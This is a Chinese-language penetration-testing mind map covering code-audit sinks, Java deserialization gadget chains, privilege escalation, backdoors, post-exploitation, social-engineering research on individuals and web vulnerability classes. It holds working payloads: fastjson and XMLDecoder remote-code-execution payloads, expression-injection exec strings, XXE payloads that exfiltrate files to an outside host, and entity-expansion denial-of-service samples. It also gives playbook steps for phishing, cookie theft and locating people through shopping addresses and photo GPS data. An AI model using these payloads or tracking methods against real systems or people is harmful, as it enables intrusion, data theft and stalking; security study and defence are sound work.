网络渗透测试
2021-07-28 15:15:22 6 举报
AI智能生成
渗透脑图
作者其他创作
大纲/内容
代码审计
PHP
代码执行
eval()
assert()
call_user_func() / call_user_func_array()
preg_replace()
create_function()
array_map()
array_filter()
usort() / uasort()
反序列化
php 源文件拼接写入
反序列化
格式特征如:O:1:"F":1:{s:8:"filename";s:5:"a.txt";}
unserialize()
SQL 注入
未加过滤拼接SQL
宽字节注入
注意二次注入
文件操作
fopen
file_put_content
$_FILES
file_get_contents
move_uploaded_file
fwrite
unlink
rmdir
变量覆盖
可以导致绕过gpc过滤
逻辑漏洞
安装相关
安装后未自动删除目录或加锁导致可再次重装
通过文件删除或移动漏洞操作锁文件,来达到重装
安装展示页被加锁,但实际上处理安装业务的文件没有则可绕过重装
重装时一些内容会被写进php的配置文件里,如果知道格式,可以拼接执行php代码
加了锁,但只是js跳转,并没有exit或die 结束代码,导致可绕过重装
文件包含
本地包含
如果结尾被拼接.php 则需要00截断
php<5.3.4
伪协议
phar/zip
包含上传图片、日志
php://input
远程包含
需要开启 allow_url_include allow_url_fopen
命令执行
exec
system
`whoami`
popen
passthru
shell_exec
Java
反序列化
Gadgetes
unmarshal
unserialize
bsh.XThis
bsh.Interpreter
com.mchange.v2.c3p0.PoolBackedDataSource
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
clojure.lang.PersistentArrayMap
clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a
org.apache.commons.beanutils.BeanComparator
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors.ChainedTransformer
org.apache.commons.collections.functors.ConstantTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections.map.LazyMap
org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.keyvalue.TiedMapEntry
org.apache.commons.collections4.comparators.TransformingComparator
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.functors.ChainedTransformer
org.apache.commons.collections4.functors.ConstantTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.apache.commons.fileupload.disk.DiskFileItem
org.apache.commons.io.output.DeferredFileOutputStream
org.apache.commons.io.output.ThresholdingOutputStream
org.apache.wicket.util.upload.DiskFileItem
org.apache.wicket.util.io.DeferredFileOutputStream
org.apache.wicket.util.io.ThresholdingOutputStream
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.hibernate.engine.spi.TypedValue
org.hibernate.tuple.component.AbstractComponentTuplizer
org.hibernate.tuple.component.PojoComponentTuplizer
org.hibernate.type.AbstractType
org.hibernate.type.ComponentType
org.hibernate.type.Type
org.hibernate.EntityMode
com.sun.rowset.JdbcRowSetImpl
org.jboss.interceptor.builder.InterceptionModelBuilder
org.jboss.interceptor.builder.MethodReference
org.jboss.interceptor.proxy.DefaultInvocationContextFactory
org.jboss.interceptor.proxy.InterceptorMethodHandler
org.jboss.interceptor.reader.ClassMetadataInterceptorReference
org.jboss.interceptor.reader.DefaultMethodMetadata
org.jboss.interceptor.reader.ReflectiveClassMetadata
org.jboss.interceptor.reader.SimpleInterceptorMetadata
org.jboss.interceptor.spi.instance.InterceptorInstantiator
org.jboss.interceptor.spi.metadata.InterceptorReference
org.jboss.interceptor.spi.metadata.MethodMetadata
org.jboss.interceptor.spi.model.InterceptionType
org.jboss.interceptor.spi.model.InterceptionModel
sun.rmi.server.UnicastRef
sun.rmi.transport.LiveRef
sun.rmi.transport.tcp.TCPEndpoint
java.rmi.server.RemoteObject
java.rmi.server.RemoteRef
java.rmi.server.UnicastRemoteObject
sun.rmi.server.ActivationGroupImpl
sun.rmi.server.UnicastServerRef
org.springframework.aop.framework.AdvisedSupport
net.sf.json.JSONObject
org.jboss.weld.interceptor.builder.InterceptionModelBuilder
org.jboss.weld.interceptor.builder.MethodReference
org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory
org.jboss.weld.interceptor.proxy.InterceptorMethodHandler
org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference
org.jboss.weld.interceptor.reader.DefaultMethodMetadata
org.jboss.weld.interceptor.reader.ReflectiveClassMetadata
org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata
org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator
org.jboss.weld.interceptor.spi.metadata.InterceptorReference
org.jboss.weld.interceptor.spi.metadata.MethodMetadata
org.jboss.weld.interceptor.spi.model.InterceptionModel
org.jboss.weld.interceptor.spi.model.InterceptionType
org.python.core.PyObject
org.python.core.PyBytecode
org.python.core.PyFunction
org.mozilla.javascript.**
org.apache.myfaces.context.servlet.FacesContextImpl
org.apache.myfaces.context.servlet.FacesContextImplBase
org.apache.myfaces.el.CompositeELResolver
org.apache.myfaces.el.unified.FacesELContext
org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression
com.sun.syndication.feed.impl.ObjectBean
org.springframework.beans.factory.ObjectFactory
org.springframework.aop.framework.AdvisedSupport
org.springframework.aop.target.SingletonTargetSource
com.vaadin.data.util.NestedMethodProperty
com.vaadin.data.util.PropertysetItem
Checklist
JSON
jackson
检查点
enableDefaultTyping
ObjectMapper
fastjson
检查点
JSON.parse
JSONObject
com.alibaba.fastjson
setAutoType(true)
漏洞
RCE
1.2.25 版本前可以反序列化任意对象,后面的版本加了 autotype 和反序列化黑名单
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1999/Exploit","autoCommit":true}
1.2.48 版本前可以绕过 autotype 限制同时绕过黑名单
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"f":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://10.165.93.31:1090/evil",
"autoCommit":"true"
}
}
OOM拒绝服务
1.2.60 前版本可以拒绝服务
{"a":"\x
XML/Yaml
XStream
new XStream()
XMLDecoder
POC
<?xml version="1.0" encoding="UTF-8"?>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start" />
</object>
CheckPoint
XMLDecoder xd = new XMLDecoder(bis);
xd.readObject();
SnakeYaml
CheckPoint
new SnakeYaml().fromXML()
中间件/框架
Shiro
SHIRO-721
RememberMe Padding Oracle
影响到1.4.x
SHIRO-550
Randomize default remember me cipher
影响到 1.2.4
Spring
HttpInvoker
CheckPoint
<bean name="/httpinvoker"class="org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter">
ObjectInputStream
检查点
new ObjectInputStream(is);
Hessian
检查点
new HessianInput(is);
场景
调用RPC服务时反序列化
取缓存服务器数据时反序列化
解析JSON
文件操作
文件读取
new FileInputSream(
FileUtils.read*
使用 File 相关工具类
使用 URLConnection 没有指明协议时可用 file://etc/passwd
XXE 使用file协议读取
文件写入
文件删除
RCE
表达式注入
Spel
POC
T(java.lang.Runtime).getRuntime().exec('calc.exe')
CheckPoint
ExpressionParser parser = new SpelExpressionParser();
Ognl
Mvel
EL
POC
${applicationScope}
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
JEXL
CheckPoint
new JexlEngine()
POC
233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')
模板注入
Freemarker
命令注入
getRuntime().exec()
new ProcessBuilder()
使用命令行相关工具类
代码注入
JavaSciprtEngine
CheckPoint
new ScriptEngineManager()
Jython
Groovy
CheckPoint
new GroovyShell();
POC
'calc'.execute()
Java反射
Class加载
com.sun.org.apache.bcel.internal.util.ClassLoader
如果加载类时可指定“类加载”类为此类,即可通过BCEL传入字节码执行代码
SQL注入
ORM框架
Mybatis 使用 $
hibernate 拼接查询
jdbc
使用 statement 类
多关注这些语法
order by ? ?
limit ?,?
in ( ? , ?)
like '%?%'
group by ?
Python
反序列化
CheckList
pickle
Unpickler(open("blue.pkl","rb")).load()
_pickle.load(open("blue.pkl","rb"))
cPickle.load(open("blue.pkl","rb"))
pickle.load(open("blue.pkl","rb"))
marshal
marshal.loads(code_str)
第三方库
sklearn
joblib.load("blue.pkl")
NumPy
numpy.loads(d.read())
Pandas
pandas.read_pickle("blue.pkl")
PyTorch
torch.load("blue.pkl")
后渗透与持续渗透
权限维持与提升
提权
Windows
一般情况
pr 、Churrasco、kelong、IIS6up、mimikatz、第三方cmd、第三方net、vbs、读hash、msf
找未安装补丁的提权漏洞
通过高权应用的RCE 或 LCE提权,如:mssql、Oracle
参考
https://github.com/SecWiki/windows-kernel-exploits
Linux
通过高权应用
根据内核版本找exp
参考
https://github.com/SecWiki/linux-kernel-exploits
脚本检测
linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/mzet-/linux-exploit-suggester
找可以使用 sudo 的脚本,审查脚本代码是否有调用可写的脚本
维持
信息收集
保存用户bash history
netstat -an 查看端口连接情况
/etc/passwd /etc/shadow 用户相关信息
crontab 里的定时任务
系统变量
lastlog & last & who /var/log/wtmp 分析登录频次
用户根目录的文件
/etc/hosts 中的映射
/.ssh/
查看数据库SQL日志
查看WEB服务运行日志
后门
shift 后门
Windows $ 隐藏用户
开机自启执行后门
替换带有后门的敏感程序 如:ssh / mstsc
注册表
dll 劫持
开启代理
待补充
内网渗透
参考
https://github.com/Ridter/Intranet_Penetration_Tips
https://github.com/l3m0n/pentest_study
待补充
持续渗透和一些技巧
得到子服务器权限后
探测内网存活主机/服务 的指纹信息
ARP劫持流量
找到该服务器与其他服务器的关联(如:已得到redis服务器权限 web服务器会从redis中取出数据反序列化 则可以篡改redis中的数据以获取web服务器权限)
得到域名解析权后
指向到反代至目标的服务器,记录GET POST请求日志,分析特殊URL和登录后台的POST 请求
找到XSS后
如果是社交类网站,尝试寻找CSRF制造蠕虫
通过其他社交网站的JSONP漏洞,探测管理员的个人信息
打到管理员cookie后通过附带 Cookie 不断请求后台以保持会话不被销毁
根据浏览器、flash、等情况进行浏览器攻击。如:执行代码、种rootkit
canvas 截图页面
得到邮箱地址后
独立邮件系统可找公开漏洞攻击
发送测试邮件探测对方使用邮箱系统
通过挖掘相关邮箱系统漏洞进行攻击
找到服务器、CDN、域名、DNS等服务商,伪造钓鱼邮件欺骗管理员登录
发送含有后门的附件(如:pdf、Excel、word、rar的代码执行漏洞)
通过社工库或搜索引擎人肉搜索得出密码后尝试登陆邮箱
得到邮箱权限后
分析/劫持邮箱收信
个人邮箱
搜搜:password、找回密码、重置密码、忘记密码等关键字
找服务器、CDN、域名、DNS等服务商的邮件,如果无法登陆尝试重置等操作
找到有关地理位置软件的邮件
淘宝(收货地址)
京东(收货地址)
支付宝(收货地址)
Apple账号(可定位)
各手机大厂(手机定位)
找发件箱中的原始图片(找exif的GPS定位)
...
企业邮箱
找VPN相关邮件 可内网渗透
找OA,ERP,SCM,CRM,BRP,OMS,WMS相关系统邮件
找Git,SVN,自动化测试相关邮件
搜索关键字:password、密码、192、172、10. 等关键字
...
引入了外部资源
搞定外部网站
如果是JS 可以考虑XSS攻击
IMG LINK 可以401认证钓鱼
IFRAME bgsound EMBED source object等可以挂可执行文件或跳转钓鱼页
找后台
一般在后台添加友联时会展示logo图片,如果可以填写远程URL 可以尝试和站长沟通交换友联,添加成功后,对方则会发起一个refer为后台的请求到你的LOGO
收集网站名简写、英文名、邮箱前缀等 于 admin、manage、system、login等常见单词组合请求
IIS 短文件名漏洞
Windows 下的 >> 特性
https://b1ue.cn/archives/60.html
找列目录漏洞
XSS
收集子域名资产及其C段端口
二级域名 如:admin.xxx.com
google fofa censys等引擎搜索关键字
爬虫爬取所有链接 提取出目录部分 按目录层级穷举
绕过验证码
只请求一次验证码,然后用同样的验证码暴力破解
知道验证码在session中的参数,找类似 Tomcat example session重置的漏洞填充同一验证码
云打码平台识别
自己训练OCR识别
APT攻击
待补充...
流量取证
待补充...
社会工程学技巧
社交搜索
查看注册的网站:0xreg reg007
知道账号去已注册的网站找回密码,可以看到打码后的用户名、邮箱、真实姓名等信息,如果运气好没准能从数据包或html中找到未被打码的信息
可以从这些方面判断用户是否注册过
找回密码
输入账号,如果进入下一步了则该账号存在
登录
输入账号和密码,如果提示密码错误,则表示该用户已存在
注册
填写账号时一般网站会去检测该账号是否已存在,如果已存在则会提示不可重复注册
知道QQ
通过QQ邮箱搜索支付宝、淘宝账号
去腾讯微博搜索
通过微信搜索
查看QQ空间
通过说说、留言、日志找到其好友
知道手机号
搜索QQ、微信、钉钉等社交账号
在比较火的一些APP和网站上注册或忘记密码来判断是否注册过账号
查询支付宝账号,尝试输入常见姓氏获取名字
通过对方的职业、兴趣找到该领域知名度较高的社交网站反查
根据在QQ空间、朋友圈等动态用百度识图识别照片,在微博、ins、Twitter、fb、百度贴吧搜索相近关键字,按地域、年龄、男女、用户名等筛选
留意社交动态
发布时间线
使用什么客户端 iPhone Android还是浏览器
针对客户端预先制定exploit
注意每一条链接 / 图片 / 视频
链接可能包含用户ID
图片可能包含水印,exif可能会有GPS定位和手机类型
视频也有可能有水印暴露社交账号ID
从最早发布的动态看起,会有很大收获
一般得到一个账号的密码就相当于得到了其他账号的密码
一般人不同账号的用户名都是相同或相近的
一般人的社交账号头像用的都是一样的
尝试破解社保、公积金账号
大部分信息可以用来生成密码字典
待补充
工具
扫描工具
主动扫描
AWVS
业界知名漏洞扫描器,适用于WEB应用
appscan
业界知名漏洞扫描器,适用于WEB应用
Fuxi Scanner
一款聚合了很多功能的综合扫描器
https://github.com/jeffzh3ng/Fuxi-Scanner
xunfeng
https://github.com/ysrc/xunfeng
一款综合的巡航扫描系统
nessus
适合扫描系统和应用层漏洞的扫描器
sqlmap
https://github.com/sqlmapproject/sqlmap
知名自动化SQL注入神器,安全人员必备
masscan
快速端口扫描器
被动扫描
GourdScanV2
https://github.com/ysrc/GourdScanV2
被动式漏洞扫描器
SQLiScanner
Burpsuite
知名渗透测试工具,安全人员必备。
渗透框架
metasploit
https://github.com/rapid7/metasploit-framework
知名漏洞利用框架,安全人员必备
pocsuite
https://github.com/knownsec/Pocsuite
知道创宇的POC漏洞测试框架
溯光
https://www.trackray.cn/
https://github.com/iSafeBlue/TrackRay
我开发的一款在线扫描器+接口式渗透测试框架
kunpeng
一个兼容多种语言的漏洞框架
poc-t
python 漏洞验证框架
bugscan
四叶草的漏洞扫描器
3xp10it
pentestbox
整合了kali中大部分的安全工具,Windows平台上的神器
w9scan
w8ay的一款漏洞扫描工具
信息收集
wydomain
猪猪侠的子域名扫描工具
bit4woo/teemo
聚合多个接口查子域名
ring04h/weakfilescan
猪猪侠的信息泄露扫描器
ring04h/dirfuzz
猪猪侠的网站目录扫描器
whatweb
网站指纹扫描
nsonaniya2010/SubDomainizer
信息泄露
lijiejie/GitHack
lijiejie的GIT泄露利用
shengqi158/svnhack
svn泄露利用工具
lijiejie/IIS_shortname_Scanner
IIS短文件扫描器
渗透辅助
Cobalt Strike
渗透测试工具,安全人员必备
hydra
多种服务的密码暴力破解工具,安全人员必备
nmap
端口扫描和系统漏洞扫描的神器,安全人员必备
lcx
内网转发工具
nc
常用于shell反弹,安全人员必备
proxychain
linux下的代理工具
reGeorg
内网渗透代理工具
Proxifier
Windows下的代理工具
菜刀/蚁剑/Cknife
网站webshell管理工具,安全人员必备
信息收集
业务相关
github泄漏
网盘泄漏
敏感路径扫描
https://github.com/ring04h/dirfuzz
QQ群文件泄漏
域名相关
域名商
找域名商漏洞,越权影响目标域名
欺骗域名商客服,影响目标域名
社工账号,篡改解析地址
DNS
渗透DNS服务器,和社工DNS服务商
DNS域传送漏洞
子域名接管漏洞
CDN
找真实IP地址
censys.io 等网络空间引擎查找关键字
SSRF漏洞
查找域名历史解析IP
https://securitytrails.com/
site.ip138.com
服务器信息泄露
探测子域名IP
cloudflare(HatCloud)
看邮件发送者源IP
APP客户端
DOS CDN可能会成回源模式
破解CDN服务账号
WHOIS
注册者邮箱
反查其他域名
手机号
地址
注册者名称
DNS
子域名
搜索引擎
fofa、傻蛋、谛听、zoomeye、censys
Google、bing、baidu、duckduckgo
接口聚合:https://github.com/bit4woo/teemo
暴力破解
layer
wydomain
网页爬虫
基于JS的域名探测https://github.com/nsonaniya2010/SubDomainizer
DNS查找
dnsdumpster.com
www.virustotal.com
服务器主机
端口
nmap
Zenmap
系统识别
nmap -O
文件大小写敏感
TTL
banner
信息泄露
特殊端口 如(22 / 139 / 445 / 1433 / 3389)
HOSTNAME
路径特征
相关资产
同服网站
https://dns.aizhan.com
备案反查
C段业务
可能会有其他相关业务,如交换机、机房后台、监控系统等
指纹识别
特有文件MD5
包含字符
cookie
响应头
弱点检测
常见漏洞
文件操作
文件上传
字典生成 https://github.com/c0ny1/upload-fuzz-dic-builder
畸形文件名
Windows
shell.php{%80-%99}
NTFS ADS特性
shell.php......
shell.php::$DATA
shell.php:a.jpg
目录穿越
上传后如果没有被文件重命名,可以在文件名值做目录跳转
注意一些像目录的参数名
dir
path
location
url
文件头绕过
修改上传类型 Content-Type
双文件上传
截断
长文件名
长Content-Disposition
%00截断
特殊文件
svg / html / htm / swf
xss
pdf
chrome 里可以跳转
cer / asa / spx / php5 / phtml
可能会被当做动态语言解析
.htaccess / .user.ini / web.config / web.xml
修改解析规则
.xls / .xlsx
POI Excel XXE
.tar / .tar.gz / .zip
可能存在文件释放目录跳转问题
.pkl
python反序列化文件
.xml
可能有 XXE
.yaml / .yml
YAML 反序列化
.jar / .class
上传到 java classpath 的目录下,类被加载时执行代码
无大小和次数限制
无限上传制造垃圾数据堵死硬盘
有图片加工的地方可以注意一下imagemagick命令执行
文件读取
读取系统敏感文件
文件包含
可读取文件或代码执行
文件删除
删除配置文件可破坏网站
删除安装锁可重装
文件解压
如果上传文件为 tar / tar.gz 类型,可以尝试构压缩包内文件名为../../../../xxx 的tar包
文件导出
如果是CSV 或者 Excel可以注意一下CSV注入
=2222-1
-1+1=2222-1
@=2222-1
\r\n=2222-1
111,=2222-1,
CSRF
绕过方法
有Referer校验
找一个站内可以插入标签的地方,比如图片
使用可以发起请求的标签调用敏感功能接口
尝试使用 http://website.com@baidu.com 等方式绕过他的 referer 校验规则
FLASH CSRF
http://blog.knownsec.com/2013/03/%E7%A7%91%E6%99%AE%E4%BD%8E%E8%B0%83%E7%9A%84flash-csrf%E6%94%BB%E5%87%BB/
https://www.cnblogs.com/fdsajhg30000/archive/2011/02/14/1953966.html
http://www.vuln.cn/7134
请求头或者参数有TOKEN类参数
每个功能的请求里把 token 参数删掉,看看有没有漏掉的
如果 TOKEN 放在了地址栏URL处,可以在页面里嵌入一个 IMG 之类的跨域标签到自己服务器,获取referer 从而拿到TOKEN
有校验验证码
CSRF利用页面里的表单加一条验证码,并且使用IMG标签插入验证码地址
四位数字验证码爆破
利用方法
使用form表单自动提交请求
跨域标签
img
iframe
a
link
XSS
传统XSS
DOM XSS
很常见的一种XSS攻击,由JS的一些函数如 eval、localhost.href、window.open、document.write 等引起的参数可控的XSS
反射型XSS
通过将XSS代码带入请求数据包中(POST/GET都一样)后台代码直接把代码输出在了HTML页面中的一种最常见的XSS
CRLF注入在响应头会导致XSS
存储型XSS
泛指XSS代码被存储在了数据库(也可以是缓存、文件、内存)中,并且输出时未经安全的过滤而产生的XSS
特殊XSS
UXSS
UXSS用于攻击浏览器,访问攻击者页面时可以绕过同源策略获取其他域下的信息
XSS 蠕虫
在社交类应用或有大量用户的应用场景下特有的一类XSS,它利用 XSS 配合 CSRF,让每个访问者都自动转发蠕虫代码
rootkit xss
通常会根据参加利用 cookie localStorage ServiceWorker 让 XSS 代码持久化攻击,或者修改用户名等信息,即使不再访问攻击页面,XSS代码也会被执行
Flash XSS
通过一些 swf 编写时的漏洞,控制dom或者访问 javascript 伪协议完成的XSS攻击
localStorage XSS
本质上是DOM XSS 也可以是存储型,一些应用会把 h5 localStorage 当做存储信息的数据库,并且输出存储的信息时没有经过过滤,可能会造成 XSS
self XSS
这一类XSS通常只能攻击自己,一般不被人重视,其实根据不同的场景可以使用 CSRF 或者 点击劫持的方式来完成攻击
其他参考
Web前后端漏洞分析与防御 https://github.com/TYRMars/WebSafe-StepPitGuide
脑图
https://github.com/phith0n/Mind-Map/blob/master/xss%20virus%201.0.png
https://github.com/phith0n/Mind-Map/blob/master/XSS2.png
https://github.com/phith0n/Mind-Map/blob/master/XSS%E8%84%91%E5%9B%BE.png
http://html5sec.org/
SQL注入
ORACLE
函数
常量
特性
安全
执行java代码
https://www.cnblogs.com/rebeyond/p/7928887.html
https://www.cnblogs.com/pshell/articles/7473713.html
MYSQL
函数
load_file()
substr()
substring()
mid()
ascii()
unhex()
hex()
sleep()
database()
常量
@@version
@@basedir
@@datadir
user
语法
特性
安全
outfile 写文件
MOF / UDF 提权
general_log_file 写文件
SQL Server
安全
xp_cmdsell
https://www.jianshu.com/p/027636ef4640
wscript.shell
https://www.cnblogs.com/xred/archive/2011/12/31/2308724.html
沙盒模式
https://blog.csdn.net/sircoding/article/details/78683192
存储过程写文件
xp_dirtree
https://blog.csdn.net/kj021320/article/details/1736964
sp_oamethod
https://www.0dayhack.com/post-678.html
常量
函数
特性
代码执行/命令执行
命令执行
命令注入
--xxxx 参数注入
| 和 || 与符号
& 和 && 与符号
; 分号
${}
代码执行
表达式
freemarker
OGNL
Spel
jsel
非表达式
php
eval
assert
call_user_func() / call_user_func_array()
preg_replace()
create_function()
array_map()
array_filter()
usort() / uasort()
反序列化
php 源文件拼接写入
java
反序列化
远程 jar 加载
反射机制
jsp 源文件拼接写入
SSRF
利用姿势
http协议
获取真实IP
内网主机 / 端口探测
攻击redis、memcache等
file协议
读取文件
gopher协议
同上
拒绝服务
一直连接一个阻塞的端口,使连接不被断开,直到本地65535个端口连接全被占满,造成网络拒绝服务
绕过
IP换成域名
IP换成10进制
http://xxx.com@baidu.com
302 跳转
参考
https://www.t00ls.net/articles-41070.html
XXE
利用姿势
文件读取
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
数据外带
1
payload
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendhttp.dtd">
%remote;
%send;
]>
<data>4</data>
parameterEntity_sendhttp.dtd
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'http://publicServer.com/%payload;'>">
%param1;
2
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>
parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
SSRF
外部一般实体 (Steuck, 2002)
<?xml version='1.0'?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY remote SYSTEM "http://internalSystem.com/file.xml">
]>
<data>&remote;</data>
DOCTYPE
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
外部参数实体 (Yunusov, 2013)
<?xml version='1.0'?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY % remote SYSTEM "http://publicServer.com/url_invocation_parameterEntity.dtd">
%remote;
]>
<data>4</data>
XInclude
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>
schemaLocation
<?xml version='1.0'?>
<ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ttt="http://test.com/attack"
xsi:schemaLocation="http://publicServer.com/url_invocation_schemaLocation.xsd">4</ttt:data>
noNamespaceSchemaLocation
<?xml version='1.0'?>
<data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd">4</data>
XEE(XML实体膨胀)拒绝服务
读文件拒绝服务
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY dos SYSTEM "file:///publicServer.com/largeFile.xml" >
]>
<data>&dos;</data>
C:/pagefile.sys 或 /dev/random
递归读取
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
<?xml version='1.0'?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)><!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
XSLT
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/sys/power/image_size')">
</xsl:value-of></xsl:template>
</xsl:stylesheet>
参考
https://www.freebuf.com/articles/web/177979.html
无恶意特征的漏洞
非预期内数值
整数溢出
数字超出限定大小则会为负数。如:在购买商品时填写超长数字,造成溢出,最终乘以金额变为负数
例子
结算价格 = 数量 * 100
让数量等于 integer 最大值2147483647
2147483647*100 最终因为计算 结果超过2147483647会变成负书 -100
正负相乘
通常出现在购物车,订单支付功能。下单时抓包修改商品数量为负数,或者其他可能会影响到最终价格的数值其中一个为负数,在计算价格时就会造成商品总价变为负数,再同一订单内购买其他正数商品与其抵消,可少数金额购买商品
并发修改数据
漏洞原理
一般主要原因是未正确做数据库事务隔离,如使用高并发线程提交修改数据,可能就会造成脏读问题
另外一个就是语言的线程安全问题,如 java 的某个单例对象,或者 static 变量可被修改,当用户恶意的并发请求时,正常用户再请求获得的对象可能就是被篡改后的对象
网站重装
漏洞原理
通常在PHP一类CMS较为常见
1.可随意删除安装锁导致重装
2.判断已安装后未正确退出代码导致重装
3.未校验已安装可重复安装
未授权访问
对于不可让普通用户随意访问的接口或页面,未做授权检测或可被绕过
水平与垂直越权
水平越权
意为越权同权账号
如查看订单,我的订单号为 1123 ,把查看订单请求里订单号修改为 1124 或者其他存在的订单号,如果可以查得出来数据的话就属于水平越权
垂直越权
意为越权比自己权限高的账号,也可以称为提权
这个情况不同场景有不同的测法,一般可以找一个高权账号,把特有的功能请求记录下来,再使用低权账号去发送,如果正常处理了,则为垂直越权
JSONP劫持
漏洞原理
JSONP 的数据格式以此为例 callback({'password:'123456'})
由于script在浏览器里是允许跨域访问的,如果在自己的页面上写一个url为JSONP接口地址的script标签,就会执行 callback 这个函数,把敏感信息当做参数
所以只需要再在页面定义一个名为 callback 的函数,将传过来的参数转发到自己的服务器里,就完成了 JSONP 劫持的攻击
密码重置
验证码密码重置
通常重置密码会向手机号或邮箱发送一串验证码
如使用的验证码是4位数可从0000-9999挨个暴力破解,几分钟内就能穷举出正确验证码
如果是5位数及以上的话要看运气,并且验证码没有过期时效,可以考虑分布式暴力破解,会花的时间长一些
未校验凭证和被修改账号是否一致
按照正常流程修改自己的账号密码,在修改密码的最后一步,把用户名、ID、邮箱一类的修改成被攻击者的
点击劫持
漏洞原理
使用 iframe 标签嵌入一个可点击劫持的页面,使用 css 是其变为透明,再按照场景编写几个页面控件覆盖再iframe层页面上方,诱导被攻击者点击
拒绝服务漏洞
搜索百分号 % 多线程并发查询,会一直消耗服务器资源导致拒绝服务
在搜索、翻页的请求修改查询条数到99999+,频繁请求可能会导致拒绝服务
无限制上传文件,和无限制文件大小时可以频繁上传大型文件,阻塞服务器硬盘
寻找cookie可控请求,插入大量cookie,可对客户端拒绝服务
让对方服务器向我们发起端口连接请求,不关闭连接,一直让对方发起端口连接,从而造成网络层面拒绝服务
正则表达式拒绝服务
表达式
^([a-z0-9A-Z]+[-|_|\.]?)+[a-z0-9A-Z]@([a-z0-9A-Z]+(-[a-z0-9A-Z]+)?\.)+[a-zA-Z]{2,}$
匹配内容
aaaaaaaaaaaaaa!
一般30个a就会卡死
工具
SDL regex fuzzer
编辑器漏洞
fckeditor
https://www.cnblogs.com/bl8ck/p/9521448.html
ueditor
.net
getshell
https://www.seebug.org/vuldb/ssvid-97499
jsp
文件上传
https://www.secpulse.com/archives/11232.html
ssrf
ssrf
https://paper.seebug.org/606/
ckfinder
https://www.seebug.org/appdir/CKFinder
https://www.secpulse.com/archives/26999.html
CKEditor
https://www.seebug.org/vuldb/ssvid-60642
KindEditor
https://www.anquanke.com/post/id/171422
https://www.freebuf.com/articles/web/128076.html
ewebeditor
https://www.cnblogs.com/milantgh/p/3601739.html
https://www.0dayhack.com/post-426.html
常见服务弱点
21 / FTP
匿名/暴力破解
拒绝服务
22 / SSH
暴力破解
23 / telnet
Winbox(CVE-2018-14847)
https://github.com/BasuCert/WinboxPoC
弱口令 / 暴力破解
161 / snmp
弱口令
https://blog.csdn.net/archersaber39/article/details/78932252
389 / ladp
匿名访问
https://www.cnblogs.com/persuit/p/5706432.html
ladp注入
http://www.4hou.com/technology/9090.html
https://www.freebuf.com/articles/web/149059.html
443 / ssl
openssl心脏出血
https://paper.seebug.org/437/
http://www.anquan.us/static/drops/papers-1381.html
https://www.freebuf.com/sectool/33191.html
